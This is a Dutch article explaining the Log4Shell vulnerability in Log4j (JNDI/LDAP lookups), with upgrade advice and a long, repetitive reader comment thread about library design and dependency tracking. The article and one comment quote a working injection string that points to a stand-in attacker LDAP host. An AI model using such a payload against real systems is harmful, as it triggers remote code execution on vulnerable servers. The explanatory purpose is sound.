Log4Shell, hoe werkt dat nou?
vrijdag 24 december 2021, 16:42 door Jordy Zomer, 47 reacties
Vrijdag 9 december was de dag dat de Log4Shell kwetsbaarheid, die ook wel CVE-2021-44228 wordt genoemd, openbaar werd gemaakt. Het werd ontdekt op Github. Log4Shell is een kwetsbaarheid in de Log4j library die iemand anders code kan laten uitvoeren op jouw applicatie mits er gebruikersinvoer wordt gelogd.
Log4j is een library die het eenvoudiger maakt om data te loggen in Java applicaties. De gelogde gegevens kunnen van alles zijn, van softwarevariabelen tot bijvoorbeeld een naam van een gebruiker. Het is ook gebruikelijk dat applicaties gebruikersinvoer vastleggen, zoals HTTP-verzoeken, zodat ze kunnen achterhalen naar welke pagina's mensen en computers gaan op een site.
Een aanvaller kan de Log4j-kwetsbaarheid gebruiken om volledige controle over je systeem te krijgen als een van deze logs gebruikersinvoer bevat. Kwaadwillende hackers kunnen het logging systeem naar een Java-library van hun keuze sturen. Het protocol zal die library laden en de code meteen uitvoeren. Maar, hoe werkt dit nou precies?
Je zou verwachten dat een logging systeem alleen in staat zou moeten zijn om berichten als data te accepteren en ze te formatteren op de meest eenvoudige manier, maar dit is niet altijd het geval. Je kunt bijvoorbeeld lookups gebruiken om meer ingewikkelde dingen te doen met de Log4j library.
In Log4j zijn lookups een snelle en gemakkelijke manier om variabelen van externe locaties op te halen op elk moment tijdens het proces. Deze variabelen kunnen bijvoorbeeld via JNDI worden benaderd. Log4j, maakt bijvoorbeeld JNDI lookups mogelijk, zodat deze variabelen kunnen worden gebruikt.
Laten we, om dit beter te begrijpen, eerst beginnen met JNDI.
JNDI
Een Java client kan JNDI (Java Naming and Directory Interface) gebruiken om bronnen en gegevens op te halen bij een Directory Service door deze een specifieke naam te geven. Als een gebruiker controle heeft over de naam die wordt gebruikt om deze gegevens op te halen, kan hij deze naam naar een kwaadwillende server wijzen die een Java object terugstuurt dat hij wil hebben. Dit Java-object wordt dan gevonden, gedownload en uitgevoerd op dit systeem.
LDAP
Lightweight Directory Access Protocol (LDAP), is een protocol die het makkelijker maakt om gebruikers te managen en toegang te geven tot bepaalde bronnen. Een korte samenvatting van het protocol is als volgt: LDAP biedt een manier van directory-opslag en maakt het eenvoudiger om gebruikers te authenticeren en te autoriseren bij toegang tot bijvoorbeeld externe services.
JNDI kan dus ook gebruikt worden in combinatie met LDAP om bronnen op te halen uit deze directory services, en dat is waar de kwetsbaarheid in Log4j misbruik van maakt. Stel dat we de volgende aanval hebben en deze wordt uitgevoerd in een applicatie voor het loggen van gebruikersinvoer:
${jndi:ldap://evilhacker.domain:1389/exploit}
Log4j herkent dan de speciale syntax '${}' en begint deze te formatteren. In dit geval merkt Log4j de key 'jndi' op en begrijpt dat de JndiLookup plugin zal worden gebruikt. Vervolgens wordt geprobeerd verbinding te maken met de LDAP-server die draait op 'evilhacker.domain' om de bron 'exploit' daar op te halen. De LDAP server toont dan een link naar een locatie waar deze bron kan worden gedownload, zoals een HTTP server die onze kwaadaardige code bevat. Log4j downloadt deze code vervolgens en voert deze uit, zodat wij bijvoorbeeld commando's kunnen uitvoeren op de server waarop deze applicatie draait.
Het kan zelfs zijn dat deze kwetsbaarheid niet eens een directe dependency hoeft te zijn, het kan bijvoorbeeld een dependency zijn van een andere library die je gebruikt. Het is dus heel belangrijk dat je weet wat voor dependencies je allemaal hebt en overerft!
Tot en met Log4j versie 2.15.0 zat deze kwetsbaarheid in de software. Het werd verholpen in versie 2.16.0, maar alleen upgraden naar 2.16.0 is niet genoeg. Door deze kwetsbaarheid zijn meer mensen zich gaan verdiepen in Log4j, en natuurlijk vonden ze er nog meer. Dit is een Denial of Service (DoS) kwetsbaarheid genaamd CVE-2021-45105. Dit is natuurlijk ook riskant. Je wilt niet dat mensen geen gebruik kunnen maken van belangrijke diensten, dus upgraden naar Log4j versie 2.17.0 (waar dit verholpen is) is erg belangrijk.
Helaas zijn er nu mensen die actief misbruik maken van deze kwetsbaarheid. Ransomware heeft bijvoorbeeld al gebruik gemaakt van een kwetsbaarheid in de Log4j-software om computers binnen te dringen en bestanden te versleutelen. Het NCSC heeft al gewaarschuwd dat we op onze hoede moeten zijn voor bedreigingen tijdens de feestdagen, dit is natuurlijk het perfecte moment voor een hacker om in te grijpen want er is dan vaak minder of geen personeel beschikbaar.
In dit geval denk ik niet dat we hier zomaar vanaf zijn. Gelukkig zijn er ook goede mensen bezig met deze kwetsbaarheid, en dat is goed! Het Nederlandse NCSC (Nationaal Cyber Security Centrum) is bijvoorbeeld een lijst aan het samenstellen van alle software die kwetsbaar is voor deze kwetsbaarheid.
Je kunt hem vinden op https://github.com/NCSC-NL/log4shell/tree/main/software
Dit is natuurlijk een hoop werk, dus ik denk dat het nog wel even zal duren voordat alles in kaart is gebracht.
Mijn advies is, zorg dat je weet wat voor software je allemaal draait en wat voor versies deze hebben en onthoud, update all the things!
Jordy Zomer is een Security Trainer bij Certified Secure, naast zijn werk als Trainer besteed hij zijn vrije tijd aan het vinden van nieuwe vulnerabilities, het spelen van CTF's (Capture The Flag) en het analyseren van de meest interessante vulnerabilities!
Reacties (47)
Er zijn natuurlijk wel een paar dingen HEEL RAAR aan die library. Zo raar dat je je afvraagt waarom dit zo gemaakt is
en wat daar ooit de nuttige toepassing voor had kunnen zijn.
1. de expansie van ${....} variabelen die niet 1 keer wordt uitgevoerd maar wordt herhaald (recursie) als het resultaat weer ${...} constructies bevat.
Dat is toch gewoon FOUT? Stel je wilt de USER_AGENT variabele loggen dan wil je toch gewoon loggen wat er IN die variabele staat, niet daar dan weer in gaan kijken of er weer variabelen in staan? Dat was toch nooit de bedoeling van loggen?
2. het feit dat als een variable een java object bevat, dat dit dan wordt UITGEVOERD.
Wie heeft dat nou bedacht als nuttige functie? Daar snap ik niets van, in de context van iets loggen. Wie had er bedacht dat je om iets te loggen, een stukje code moet worden opgehaald en uitgevoerd wat afhankelijk is van de data die gelogd moet worden?
Het lijkt er op dat de ontwerpers helemaal de weg kwijt waren...
en wat daar ooit de nuttige toepassing voor had kunnen zijn.
1. de expansie van ${....} variabelen die niet 1 keer wordt uitgevoerd maar wordt herhaald (recursie) als het resultaat weer ${...} constructies bevat.
Dat is toch gewoon FOUT? Stel je wilt de USER_AGENT variabele loggen dan wil je toch gewoon loggen wat er IN die variabele staat, niet daar dan weer in gaan kijken of er weer variabelen in staan? Dat was toch nooit de bedoeling van loggen?
2. het feit dat als een variable een java object bevat, dat dit dan wordt UITGEVOERD.
Wie heeft dat nou bedacht als nuttige functie? Daar snap ik niets van, in de context van iets loggen. Wie had er bedacht dat je om iets te loggen, een stukje code moet worden opgehaald en uitgevoerd wat afhankelijk is van de data die gelogd moet worden?
Het lijkt er op dat de ontwerpers helemaal de weg kwijt waren...
Door Anoniem: Er zijn natuurlijk wel een paar dingen HEEL RAAR aan die library. Zo raar dat je je afvraagt waarom dit zo gemaakt is
en wat daar ooit de nuttige toepassing voor had kunnen zijn.
1. de expansie van ${....} variabelen die niet 1 keer wordt uitgevoerd maar wordt herhaald (recursie) als het resultaat weer ${...} constructies bevat.
Dat is toch gewoon FOUT? Stel je wilt de USER_AGENT variabele loggen dan wil je toch gewoon loggen wat er IN die variabele staat, niet daar dan weer in gaan kijken of er weer variabelen in staan? Dat was toch nooit de bedoeling van loggen?
2. het feit dat als een variable een java object bevat, dat dit dan wordt UITGEVOERD.
Wie heeft dat nou bedacht als nuttige functie? Daar snap ik niets van, in de context van iets loggen. Wie had er bedacht dat je om iets te loggen, een stukje code moet worden opgehaald en uitgevoerd wat afhankelijk is van de data die gelogd moet worden?
Het lijkt er op dat de ontwerpers helemaal de weg kwijt waren...
en wat daar ooit de nuttige toepassing voor had kunnen zijn.
1. de expansie van ${....} variabelen die niet 1 keer wordt uitgevoerd maar wordt herhaald (recursie) als het resultaat weer ${...} constructies bevat.
Dat is toch gewoon FOUT? Stel je wilt de USER_AGENT variabele loggen dan wil je toch gewoon loggen wat er IN die variabele staat, niet daar dan weer in gaan kijken of er weer variabelen in staan? Dat was toch nooit de bedoeling van loggen?
2. het feit dat als een variable een java object bevat, dat dit dan wordt UITGEVOERD.
Wie heeft dat nou bedacht als nuttige functie? Daar snap ik niets van, in de context van iets loggen. Wie had er bedacht dat je om iets te loggen, een stukje code moet worden opgehaald en uitgevoerd wat afhankelijk is van de data die gelogd moet worden?
Het lijkt er op dat de ontwerpers helemaal de weg kwijt waren...
Helemaal mee eens. Ik heb het idee dat de focus van de fixes teveel op de verkeerde plekken zijn. Als gebruiker van log4j zou ik bijvoorbeeld alleen willen instellen dat de log *template* macros mag expanden (al dan niet recursief), maar de argumenten voor die template dus absoluut niet. Hoe moeilijk kan dat zijn?
Door Anoniem: Erg veel regels code voor het wegschrijven van logfile.
Het bevat allerlei componenten om in andere software implementaties te werken. Log4j herkent dan de speciale syntax '${}' en begint deze te formatteren. In dit geval merkt Log4j de key 'jndi' op en begrijpt dat de JndiLookup plugin zal worden gebruikt. Vervolgens wordt geprobeerd verbinding te maken met de LDAP-server die draait op 'evilhacker.domain' om de bron 'exploit' daar op te halen.
Als ik het goed begrijp is JNDI, zoals veel in Java, een API-specificatie waar verschillende implementaties voor bestaan, maar is er geen specificatie voor zoiets als een JNDI-server. Dan stel ik me voor dat "jndi:ldap://evilhacker.domain:1389/exploit" door Log4j wordt afgehandeld door "ldap://evilhacker.domain:1389/exploit" aan de JNDI-API door te geven, en is het de implementatie daarvan die, vermoedelijk in hetzelfde proces waarin de applicatie draait, op zijn beurt "ldap://" herkent en de LDAP-server op "evilhacker.domain:1389" benadert met de request "/exploit". Klopt dat? De LDAP server toont dan een link naar een locatie waar deze bron kan worden gedownload, zoals een HTTP server die onze kwaadaardige code bevat. Log4j downloadt deze code vervolgens en voert deze uit, zodat wij bijvoorbeeld commando's kunnen uitvoeren op de server waarop deze applicatie draait.
Dat grijpt terug naar de JNDI-uitleg erboven: ...die een Java object terugstuurt dat hij wil hebben. Dit Java-object wordt dan gevonden, gedownload en uitgevoerd op dit systeem.
Ik snap dat het binnen Java handig is om data in de vorm van Java-objecten terug te krijgen die direct bruikbaar zijn in programma's. Maar in een objectgeoriënteerde wereld bevatten objecten zowel gegevens als de logica om op die gegevens te werken, en je wilt wel de gegevens ophalen, want dat is het hele punt van zo'n lookup, maar geen logica, die wil je expliciet en bewust via import-statements binnenhalen en niet via achterdeurtjes waarvan veel minder evident is dát het gebeurt en wát het precies binnenhaalt.Wat ik daarom van zoiets als JNDI zou willen is dat het uitsluitend datastructuren teruggeeft gebaseerd op hashtables, arrays, misschien sets en verder alleen basale gegevenstypes als strings, integers, floats en booleans, dingen waarvan de logica standaard aanwezig is in het Java-platform, en absoluut geen objecten die eigen logica meenemen.
Vergelijk dit met het JSON-formaat voor datauitwisseling. Dat is begonnen als datastructuren in JavaScript-notatie die gewoon met eval() of hoe dat in JavaScript heet kunnen worden omgezet van een string in een bruikbare datastructuur. Maar het was en is evident dat dat code-injectie mogelijk maakt, en dus zijn er JSON-libraries die uitsluitend lijsten, dictionary's en basale gegevenstypes opleveren, zonder gevaar dat er ongewenste JavaScript-code wordt uitgevoerd.
JNDI stamt uit 1997. Ik kan me voorstellen dat het bewustzijn van de risico's van code-injectie toen nog niet heel diep was doorgedrongen. Maar eigenlijk vind ik het verbluffend dat dit in een belangrijk platform als Java vandaag de dag niet is ondervangen. Dit wordt gezien als een kwetsbaarheid in Log4j, maar is dit niet eigenlijk een levensgrote kwetsbaarheid in JNDI waar alle JNDI-gebruikers, inclusief Log4j, voortdurend actief omheen moeten werken?
Door Anoniem:
Ik snap dat het binnen Java handig is om data in de vorm van Java-objecten terug te krijgen die direct bruikbaar zijn in programma's. Maar in een objectgeoriënteerde wereld bevatten objecten zowel gegevens als de logica om op die gegevens te werken, en je wilt wel de gegevens ophalen, want dat is het hele punt van zo'n lookup, maar geen logica, die wil je expliciet en bewust via import-statements binnenhalen en niet via achterdeurtjes waarvan veel minder evident is dát het gebeurt en wát het precies binnenhaalt.
Wat ik daarom van zoiets als JNDI zou willen is dat het uitsluitend datastructuren teruggeeft gebaseerd op hashtables, arrays, misschien sets en verder alleen basale gegevenstypes als strings, integers, floats en booleans, dingen waarvan de logica standaard aanwezig is in het Java-platform, en absoluut geen objecten die eigen logica meenemen.
Ik snap dat het binnen Java handig is om data in de vorm van Java-objecten terug te krijgen die direct bruikbaar zijn in programma's. Maar in een objectgeoriënteerde wereld bevatten objecten zowel gegevens als de logica om op die gegevens te werken, en je wilt wel de gegevens ophalen, want dat is het hele punt van zo'n lookup, maar geen logica, die wil je expliciet en bewust via import-statements binnenhalen en niet via achterdeurtjes waarvan veel minder evident is dát het gebeurt en wát het precies binnenhaalt.
Wat ik daarom van zoiets als JNDI zou willen is dat het uitsluitend datastructuren teruggeeft gebaseerd op hashtables, arrays, misschien sets en verder alleen basale gegevenstypes als strings, integers, floats en booleans, dingen waarvan de logica standaard aanwezig is in het Java-platform, en absoluut geen objecten die eigen logica meenemen.
Inderdaad ik snap ook niet hoe men zo iets kan maken. ALS je al in bepaalde goed geisoleerde situaties zo iets wilt,
maak het dan optioneel en zorg er voor dat die optie default uit staat en er in de documentatie met grote letters staat
dat je die normaal niet wilt en alleen in superspeciale situaties kunt gebruiken als je precies snapt wat het doet.
Dat geldt wat mij betreft OOK voor het expanderen van ${...} macro's in de door de user aangeleverde logtext.
Dat moet je helemaal niet willen. NIET. Je wilt loggen wat de user aanlevert, in ongewijzigde vorm. Wat is je
logger anders waard, in het dagelijks gebruik. Ik ben benieuwd wat er gebeurt als je een ${...} constructie die
syntaxtisch incorrect is aanlevert, klapt je programma er dan uit met een exception?
Wie zijn toch de mensen die dit soort dingen bedenken??
Ik vind het een goed artikel en een goed initiatief om dergelijke achtergrondartikelen te plaatsen.
Dat klinkt een beetje vreemd. Waarom niet gewoon update everything!
Mijn advies is, zorg dat je weet wat voor software je allemaal draait en wat voor versies deze hebben en onthoud, update all the things!
Dat klinkt een beetje vreemd. Waarom niet gewoon update everything!
Het is al enige tijd bekend welke gevaren en kleven aan het niet zelf reviewen van met name 'community-driven repositories'. Toch teleurstellend dat vele gerenomeerde namen geen gebruik gemaakt hebben van juist deze mogelijkheid die het open karakter van open-source software biedt.
Vraag je je toch af in welke 'community-driven repositories' vergelijkbare problemen verborgen zitten. En wie daar nu heel driftig naar op zoek zijn.
Zie ook : The risks of open-source software for corporate use
https://www.compact.nl/articles/the-risks-of-open-source-software-for-corporate-use/
'Code vulnerability: While more significant open-source projects may have full-time sponsored developers to track reported issues and bring in new functionalities, some community-driven repositories may be side projects, maintained in best effort mode by a single developer during his or her free time. As a result, security issues and vulnerabilities may remain unaddressed for a more extended period, after being the object of a CVE (Common Vulnerability Exposure), than in a traditional commercial solution where the software vendor took engagements on security Service Level Agreement.'
Vraag je je toch af in welke 'community-driven repositories' vergelijkbare problemen verborgen zitten. En wie daar nu heel driftig naar op zoek zijn.
Zie ook : The risks of open-source software for corporate use
https://www.compact.nl/articles/the-risks-of-open-source-software-for-corporate-use/
'Code vulnerability: While more significant open-source projects may have full-time sponsored developers to track reported issues and bring in new functionalities, some community-driven repositories may be side projects, maintained in best effort mode by a single developer during his or her free time. As a result, security issues and vulnerabilities may remain unaddressed for a more extended period, after being the object of a CVE (Common Vulnerability Exposure), than in a traditional commercial solution where the software vendor took engagements on security Service Level Agreement.'
FYI:
Op THM kun je er zelf mee aan de slag:
https://www.tryhackme.com/room/solar
ippsec van HTB heeft een video op YT gezet hoe je hun "UHC - LogForge" VM met de log4j vuln binnenkomt:
https://www.youtube.com/watch?v=XG14EstTgQ4
Hoe e.e.a. werkt staat hier https://www.hackthebox.com/blog/Whats-Going-On-With-Log4j-Exploitation#playing_with_log4j beschreven.
Veel plezier!
Op THM kun je er zelf mee aan de slag:
https://www.tryhackme.com/room/solar
ippsec van HTB heeft een video op YT gezet hoe je hun "UHC - LogForge" VM met de log4j vuln binnenkomt:
https://www.youtube.com/watch?v=XG14EstTgQ4
Hoe e.e.a. werkt staat hier https://www.hackthebox.com/blog/Whats-Going-On-With-Log4j-Exploitation#playing_with_log4j beschreven.
Veel plezier!
Een logging process moet alleen doen waar het voor bedoeld is: Loggen en verder niets. Laat monitor software maar in de loggin kijken en er eventueel acties aan laten koppelen.
Door Anoniem: Het is al enige tijd bekend welke gevaren en kleven aan het niet zelf reviewen van met name 'community-driven repositories'. Toch teleurstellend dat vele gerenomeerde namen geen gebruik gemaakt hebben van juist deze mogelijkheid die het open karakter van open-source software biedt.
Ja dat klinkt leuk natuurlijk, eens even een pakket reviewen wat je gebruikt om te loggen. Maar als dan blijkt dat dit pakket
300000 regels code heeft, dan gaat de lol daar wel snel vanaf natuurlijk. Dat gaat manjaren kosten om te reviewen!
Je zou kunnen denken "als een logpakket 300000 regels code heeft dan is het resultaat van de review: NIET gebruiken",
en wellicht zijn er ook wel mensen die dat gedaan hebben, maar zo iets krijg je natuurlijk niet als advies over de wereld
verspreid dus de goedgelovigen blijven het echt wel gebruiken...
Door Anoniem:
Ja dat klinkt leuk natuurlijk, eens even een pakket reviewen wat je gebruikt om te loggen. Maar als dan blijkt dat dit pakket
300000 regels code heeft, dan gaat de lol daar wel snel vanaf natuurlijk. Dat gaat manjaren kosten om te reviewen!
Je zou kunnen denken "als een logpakket 300000 regels code heeft dan is het resultaat van de review: NIET gebruiken",
en wellicht zijn er ook wel mensen die dat gedaan hebben, maar zo iets krijg je natuurlijk niet als advies over de wereld
verspreid dus de goedgelovigen blijven het echt wel gebruiken...
Door Anoniem: Het is al enige tijd bekend welke gevaren en kleven aan het niet zelf reviewen van met name 'community-driven repositories'. Toch teleurstellend dat vele gerenomeerde namen geen gebruik gemaakt hebben van juist deze mogelijkheid die het open karakter van open-source software biedt.
Ja dat klinkt leuk natuurlijk, eens even een pakket reviewen wat je gebruikt om te loggen. Maar als dan blijkt dat dit pakket
300000 regels code heeft, dan gaat de lol daar wel snel vanaf natuurlijk. Dat gaat manjaren kosten om te reviewen!
Je zou kunnen denken "als een logpakket 300000 regels code heeft dan is het resultaat van de review: NIET gebruiken",
en wellicht zijn er ook wel mensen die dat gedaan hebben, maar zo iets krijg je natuurlijk niet als advies over de wereld
verspreid dus de goedgelovigen blijven het echt wel gebruiken...
Goede tip. Waarom zijn de grote jongens daar niet opgekomen?
Door Anoniem:
Ja dat klinkt leuk natuurlijk, eens even een pakket reviewen wat je gebruikt om te loggen. Maar als dan blijkt dat dit pakket
300000 regels code heeft, dan gaat de lol daar wel snel vanaf natuurlijk. Dat gaat manjaren kosten om te reviewen!
Je zou kunnen denken "als een logpakket 300000 regels code heeft dan is het resultaat van de review: NIET gebruiken",
en wellicht zijn er ook wel mensen die dat gedaan hebben, maar zo iets krijg je natuurlijk niet als advies over de wereld
verspreid dus de goedgelovigen blijven het echt wel gebruiken...
Door Anoniem: Het is al enige tijd bekend welke gevaren en kleven aan het niet zelf reviewen van met name 'community-driven repositories'. Toch teleurstellend dat vele gerenomeerde namen geen gebruik gemaakt hebben van juist deze mogelijkheid die het open karakter van open-source software biedt.
Ja dat klinkt leuk natuurlijk, eens even een pakket reviewen wat je gebruikt om te loggen. Maar als dan blijkt dat dit pakket
300000 regels code heeft, dan gaat de lol daar wel snel vanaf natuurlijk. Dat gaat manjaren kosten om te reviewen!
Je zou kunnen denken "als een logpakket 300000 regels code heeft dan is het resultaat van de review: NIET gebruiken",
en wellicht zijn er ook wel mensen die dat gedaan hebben, maar zo iets krijg je natuurlijk niet als advies over de wereld
verspreid dus de goedgelovigen blijven het echt wel gebruiken...
Jammer van je tijd en heeft geen enkele zin! Dit soort problemen vind je echt niet zomaar eventjes met een 'review' van een softwarebibliotheek van 300.000 regels code die je toch niet begrijpt. Dat is meestal ook niet de meerwaarde van open source software. Wat wél zinvol is, is om te zorgen dat je voorafgaand aan de deployment van je software alle dependencies in kaart hebt gebracht én een bouwsysteem hebt en onderhoudt waarmee je deze (eenvoudig) zelf kan bijwerken. Dan kan je bij calamiteiten als dit log4j probleem snel een nieuwe versie van de aangedane softwarebibliotheken instellen en de zaak opnieuw bouwen en uitrollen. Als het een open source softwarebibliotheek betreft dan kan je bekijken wat er is veranderd om het probleem op te lossen en daar wellicht uit afleiden wat voor soortgelijke problemen er in je eigen code zouden kunnen zitten.
Voor wie een veel uitgebreidere beschrijving zoekt, met (veilige) voorbeelden in Java die je zelf kan uitproberen die een indruk geven van hoe het misgaat, is dit een goed verhaal van Sophos (gevonden in het Log4shell-lemma op de Engelstalige Wikipedia):
https://nakedsecurity.sophos.com/2021/12/13/log4shell-explained-how-it-works-why-you-need-to-know-and-how-to-fix-it/
Door Toje Fos:
Jammer van je tijd en heeft geen enkele zin! Dit soort problemen vind je echt niet zomaar eventjes met een 'review' van een softwarebibliotheek van 300.000 regels code die je toch niet begrijpt. Dat is meestal ook niet de meerwaarde van open source software. Wat wél zinvol is, is om te zorgen dat je voorafgaand aan de deployment van je software alle dependencies in kaart hebt gebracht én een bouwsysteem hebt en onderhoudt waarmee je deze (eenvoudig) zelf kan bijwerken. Dan kan je bij calamiteiten als dit log4j probleem snel een nieuwe versie van de aangedane softwarebibliotheken instellen en de zaak opnieuw bouwen en uitrollen. Als het een open source softwarebibliotheek betreft dan kan je bekijken wat er is veranderd om het probleem op te lossen en daar wellicht uit afleiden wat voor soortgelijke problemen er in je eigen code zouden kunnen zitten.
Door Anoniem:
Ja dat klinkt leuk natuurlijk, eens even een pakket reviewen wat je gebruikt om te loggen. Maar als dan blijkt dat dit pakket
300000 regels code heeft, dan gaat de lol daar wel snel vanaf natuurlijk. Dat gaat manjaren kosten om te reviewen!
Je zou kunnen denken "als een logpakket 300000 regels code heeft dan is het resultaat van de review: NIET gebruiken",
en wellicht zijn er ook wel mensen die dat gedaan hebben, maar zo iets krijg je natuurlijk niet als advies over de wereld
verspreid dus de goedgelovigen blijven het echt wel gebruiken...
Door Anoniem: Het is al enige tijd bekend welke gevaren en kleven aan het niet zelf reviewen van met name 'community-driven repositories'. Toch teleurstellend dat vele gerenomeerde namen geen gebruik gemaakt hebben van juist deze mogelijkheid die het open karakter van open-source software biedt.
Ja dat klinkt leuk natuurlijk, eens even een pakket reviewen wat je gebruikt om te loggen. Maar als dan blijkt dat dit pakket
300000 regels code heeft, dan gaat de lol daar wel snel vanaf natuurlijk. Dat gaat manjaren kosten om te reviewen!
Je zou kunnen denken "als een logpakket 300000 regels code heeft dan is het resultaat van de review: NIET gebruiken",
en wellicht zijn er ook wel mensen die dat gedaan hebben, maar zo iets krijg je natuurlijk niet als advies over de wereld
verspreid dus de goedgelovigen blijven het echt wel gebruiken...
Jammer van je tijd en heeft geen enkele zin! Dit soort problemen vind je echt niet zomaar eventjes met een 'review' van een softwarebibliotheek van 300.000 regels code die je toch niet begrijpt. Dat is meestal ook niet de meerwaarde van open source software. Wat wél zinvol is, is om te zorgen dat je voorafgaand aan de deployment van je software alle dependencies in kaart hebt gebracht én een bouwsysteem hebt en onderhoudt waarmee je deze (eenvoudig) zelf kan bijwerken. Dan kan je bij calamiteiten als dit log4j probleem snel een nieuwe versie van de aangedane softwarebibliotheken instellen en de zaak opnieuw bouwen en uitrollen. Als het een open source softwarebibliotheek betreft dan kan je bekijken wat er is veranderd om het probleem op te lossen en daar wellicht uit afleiden wat voor soortgelijke problemen er in je eigen code zouden kunnen zitten.
Dan blijf je dus steeds hobbyprojectjes meenemen in je product met, zoals we nu zien, levensgrote risico's. Beter is het te werken vanuit een zero-trust model. Wat je niet begrijpt moet je ook niet gebruiken.
Door Toje Fos:
Jammer van je tijd en heeft geen enkele zin! Dit soort problemen vind je echt niet zomaar eventjes met een 'review' van een softwarebibliotheek van 300.000 regels code die je toch niet begrijpt. Dat is meestal ook niet de meerwaarde van open source software. Wat wél zinvol is, is om te zorgen dat je voorafgaand aan de deployment van je software alle dependencies in kaart hebt gebracht én een bouwsysteem hebt en onderhoudt waarmee je deze (eenvoudig) zelf kan bijwerken. Dan kan je bij calamiteiten als dit log4j probleem snel een nieuwe versie van de aangedane softwarebibliotheken instellen en de zaak opnieuw bouwen en uitrollen. Als het een open source softwarebibliotheek betreft dan kan je bekijken wat er is veranderd om het probleem op te lossen en daar wellicht uit afleiden wat voor soortgelijke problemen er in je eigen code zouden kunnen zitten.
Jammer van je tijd en heeft geen enkele zin! Dit soort problemen vind je echt niet zomaar eventjes met een 'review' van een softwarebibliotheek van 300.000 regels code die je toch niet begrijpt. Dat is meestal ook niet de meerwaarde van open source software. Wat wél zinvol is, is om te zorgen dat je voorafgaand aan de deployment van je software alle dependencies in kaart hebt gebracht én een bouwsysteem hebt en onderhoudt waarmee je deze (eenvoudig) zelf kan bijwerken. Dan kan je bij calamiteiten als dit log4j probleem snel een nieuwe versie van de aangedane softwarebibliotheken instellen en de zaak opnieuw bouwen en uitrollen. Als het een open source softwarebibliotheek betreft dan kan je bekijken wat er is veranderd om het probleem op te lossen en daar wellicht uit afleiden wat voor soortgelijke problemen er in je eigen code zouden kunnen zitten.
Dan is het wel jammer als je werkt met zo'n brak distributiemodel als in de Java wereld gebruikelijk is... je wilt natuurlijk
dat je bibliotheken apart te updaten zijn, zoals ieder redelijk werkend distributiesysteem doet. Dus niet op het moment dat
je jouw applicatie packaged een copie van al die bibliotheken meenemen, waardoor je daarna ook verantwoordelijk
bent voor het updaten van al die bibliotheken.
Als men in de Javawereld een wat beter distributiesysteem had dan hoefde men nu alleen wat centrale distributie
repositories te fixen en te wachten tot iedereen zijn dagelijkse pull doet. Zoals het ook werkt in Linux distributies,
in Windows, whereever.
Red hat: Putting the Sec into DevOps is key.
https://www.theregister.com/2021/12/21/devsecops_hybrid_cloud_security/
“Security is no longer just the responsibility of security teams” says Kerner. “Because developers have more and more control of the application lifecycle, they now have access to a lot of security tooling they may not have had access to before, such as container security tooling .”
https://www.theregister.com/2021/12/21/devsecops_hybrid_cloud_security/
“Security is no longer just the responsibility of security teams” says Kerner. “Because developers have more and more control of the application lifecycle, they now have access to a lot of security tooling they may not have had access to before, such as container security tooling .”
27-12-2021, 17:58 door
karma4
Door Anoniem: Een logging process moet alleen doen waar het voor bedoeld is: Loggen en verder niets. Laat monitor software maar in de logging kijken en er eventueel acties aan laten koppelen.
Deze opzet met jndi is gekozen om makkelijk de gegevens naar een siem te zetten. Je weet nooit welke versie en machine voor siem dan weer in gebruikt is. De jndi lookup is precies datgene waar je om gevraagd hebt.Door Anoniem: 2. het feit dat als een variable een java object bevat, dat dit dan wordt UITGEVOERD.
Wie heeft dat nou bedacht als nuttige functie? Daar snap ik niets van, in de context van iets loggen. Wie had er bedacht dat je om iets te loggen, een stukje code moet worden opgehaald en uitgevoerd wat afhankelijk is van de data die gelogd moet worden?
Het lijkt er op dat de ontwerpers helemaal de weg kwijt waren...
Wie heeft dat nou bedacht als nuttige functie? Daar snap ik niets van, in de context van iets loggen. Wie had er bedacht dat je om iets te loggen, een stukje code moet worden opgehaald en uitgevoerd wat afhankelijk is van de data die gelogd moet worden?
Het lijkt er op dat de ontwerpers helemaal de weg kwijt waren...
Het is in log4j versie 2 vanaf 2015 ingevoerd op verzoek van afnemers. De meest logisch insteek is dynamische configuratie veranderingen/ De makkelijkste weg is om het op elke aangeboden string te parsen. Een strikt onderscheid in configuratie en message afhandeling is kennelijk nie in het ontwerp opgenomen of er is wegens gemakzucht tegen gezondigd.
Het doet de nieuwe fucntie zoals gewenst, dat er veel te veel aan functies is bij gekomen is niet de vraag geweest.
Ik zou het niet helemaal de weg kwijt willen noemen. Met shellshock speelde iets overeenkomstig maar iedereen was blij met pleister en keek niet verder dan dat. Waarom is daar een complete shell gebruikt in een privilege change context van root en user land..
Het probleem zit m'n niet alleen in de code maar met name ook in hoe Java applicaties in elkaar zitten zoals Anoniem 10:29 noemt.
Op ZDNet:
"Its real trouble isn't so much with open-source itself. There's nothing magical about open-source methodology and security. Security mistakes can still enter the code. Linus's law is that given enough eyeballs, all bugs are shallow. But, if not enough developers are looking, security vulnerabilities will still go unnoticed. As what I'm now calling Schneier's law, "Security is a process, not a product," points out constant vigilance is needed to secure all software.
That said, the real pain-in-the-rump with log4j is with how Java hides what libraries its source code and binaries use in numerous Java Archive (JAR) variations. The result? You may be using a vulnerable version of log4j and not know until it's been exploited. "
Behind the log4j mess is another problem, That's "How do you know what open-source components your software is using?" For example, log4j2 has been in use since 2014. You can't expect anyone to remember if they used that first version in some program you're still using today.
The answer is one that the open-source community started taking seriously in recent years: The creation of Software Bills of Material (SBOM). An SBOM spells out exactly what software libraries, routines, and other code has been used in any program. Armed with this, you can examine what component versions are used in your program."
https://www.zdnet.com/article/in-2022-security-will-be-linux-and-open-source-developers-job-number-one/
Op ZDNet:
"Its real trouble isn't so much with open-source itself. There's nothing magical about open-source methodology and security. Security mistakes can still enter the code. Linus's law is that given enough eyeballs, all bugs are shallow. But, if not enough developers are looking, security vulnerabilities will still go unnoticed. As what I'm now calling Schneier's law, "Security is a process, not a product," points out constant vigilance is needed to secure all software.
That said, the real pain-in-the-rump with log4j is with how Java hides what libraries its source code and binaries use in numerous Java Archive (JAR) variations. The result? You may be using a vulnerable version of log4j and not know until it's been exploited. "
Behind the log4j mess is another problem, That's "How do you know what open-source components your software is using?" For example, log4j2 has been in use since 2014. You can't expect anyone to remember if they used that first version in some program you're still using today.
The answer is one that the open-source community started taking seriously in recent years: The creation of Software Bills of Material (SBOM). An SBOM spells out exactly what software libraries, routines, and other code has been used in any program. Armed with this, you can examine what component versions are used in your program."
https://www.zdnet.com/article/in-2022-security-will-be-linux-and-open-source-developers-job-number-one/
Door Anoniem:
Dan is het wel jammer als je werkt met zo'n brak distributiemodel als in de Java wereld gebruikelijk is... je wilt natuurlijk
dat je bibliotheken apart te updaten zijn, zoals ieder redelijk werkend distributiesysteem doet. Dus niet op het moment dat
